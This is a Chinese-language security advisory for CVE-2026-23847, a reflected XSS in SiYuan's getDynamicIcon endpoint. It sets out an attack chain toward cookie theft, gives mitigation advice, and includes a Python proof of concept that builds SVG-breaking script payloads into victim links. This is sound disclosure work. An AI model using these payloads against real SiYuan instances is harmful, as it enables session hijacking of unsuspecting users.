IPBUF安全漏洞报告
English
CVE-2026-23847 CVSS 6.1 中危

CVE-2026-23847: SiYuan知识管理系统反射型XSS漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23847
漏洞类型
反射型XSS (Cross-Site Scripting)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan

相关标签

反射型XSSSVG注入SiYuan知识管理系统CVE-2026-23847跨站脚本Web安全

漏洞概述

CVE-2026-23847是SiYuan个人知识管理系统中的一个中危反射型跨站脚本(XSS)漏洞。该漏洞存在于/api/icon/getDynamicIcon接口,由于对SVG输入内容未进行充分的清理和转义,导致攻击者可以通过构造恶意的内容参数注入未转义的SVG标签。SiYuan是一款流行的本地优先的个人知识管理软件,支持Markdown编辑、双链笔记等功能。由于该接口用于生成动态图标(type=8),而content参数被直接插入到SVG的<text>标签中,攻击者可以利用此漏洞在用户访问恶意构造的链接时执行任意JavaScript代码。由于响应Content-Type为image/svg+xml,浏览器会将响应内容作为XML/SVG解析,从而允许通过注入标签破坏XML结构并执行脚本。此漏洞影响3.5.4之前的所有版本,CVSS评分6.1,属于中等严重程度。

技术细节

该漏洞的技术根源在于SiYuan的/api/icon/getDynamicIcon端点对用户输入的content参数缺乏安全处理。具体来说,当用户请求生成文本图标(type=8)时,系统将content参数的值直接拼接到SVG文档的<text>标签内,而没有进行XML实体转义或输入验证。攻击者可以通过在content参数中注入SVG标签或HTML标签来破坏SVG文档结构。例如,攻击者可以注入</text><script>alert(document.cookie)</script><text>来打破原有的XML结构,并在其中插入script标签。由于响应的Content-Type设置为image/svg+xml,浏览器会将其作为XML文档解析,从而执行注入的JavaScript代码。这种反射型XSS攻击需要诱导用户访问包含恶意参数的链接,利用用户交互完成攻击。漏洞影响SiYuan 3.5.4之前的所有版本,攻击向量为网络层面,复杂度低,无需认证,但需要用户交互。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点运行SiYuan知识管理系统,并定位到存在漏洞的/api/icon/getDynamicIcon接口
STEP 2
步骤2: 构造恶意链接
攻击者构造包含XSS payload的恶意URL,将payload作为content参数值,如</text><script>alert(document.cookie)</script><text>
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、即时通讯或其他渠道诱导目标用户点击恶意构造的链接
STEP 4
步骤4: 触发XSS执行
用户访问恶意链接后,浏览器请求/api/icon/getDynamicIcon接口,服务器返回包含未转义payload的SVG响应
STEP 5
步骤5: JavaScript执行
浏览器将响应作为SVG/XML解析,注入的script标签被解析执行,攻击者获取用户会话cookie或其他敏感信息
STEP 6
步骤6: 账户劫持
攻击者利用窃取的会话凭证进行后续攻击,如数据窃取、恶意操作等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23847 PoC - Reflected XSS in SiYuan /api/icon/getDynamicIcon # Target: SiYuan < 3.5.4 # Vulnerability: Unsanitized SVG input leading to XSS def exploit_siyuan_xss(target_url, payload): """ Exploit reflected XSS in /api/icon/getDynamicIcon endpoint Args: target_url: Base URL of vulnerable SiYuan instance payload: Malicious JavaScript payload to inject Returns: Exploit URL that triggers the XSS """ exploit_url = f"{target_url}/api/icon/getDynamicIcon?type=8&content={payload}" return exploit_url def generate_xss_payload(): """ Generate XSS payload that breaks SVG structure and executes JS Payload breaks out of <text> tag and injects script """ # Payload that closes the text tag and injects script payload = "</text><script>alert(document.domain)</script><text>" return payload def verify_vulnerability(target_url): """ Verify if the target is vulnerable by checking for XSS reflection """ test_payload = "</text><img src=x onerror=alert(1)>" url = f"{target_url}/api/icon/getDynamicIcon?type=8&content={test_payload}" try: response = requests.get(url, timeout=10) # Check if payload is reflected without escaping if response.headers.get('Content-Type') == 'image/svg+xml': if '</text><img src=x onerror=alert(1)>' in response.text: return True except requests.RequestException: pass return False if __name__ == "__main__": # Example usage target = "http://localhost:6806" payload = generate_xss_payload() exploit_url = exploit_siyuan_xss(target, payload) print(f"[+] Exploit URL: {exploit_url}") print(f"[+] Send this URL to victim to trigger XSS") # Verify if verify_vulnerability(target): print("[+] Target is VULNERABLE") else: print("[-] Target may not be vulnerable or patched")

影响范围

SiYuan < 3.5.4

防御指南

临时缓解措施
立即升级SiYuan到3.5.4版本以修复该漏洞。如果暂时无法升级,可通过Web应用防火墙(WAF)对/api/icon/getDynamicIcon接口的content参数进行过滤,阻止包含</text>、<script>等标签的请求。同时,建议用户在使用SiYuan时避免点击来源不明的链接,尤其是包含特殊字符的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表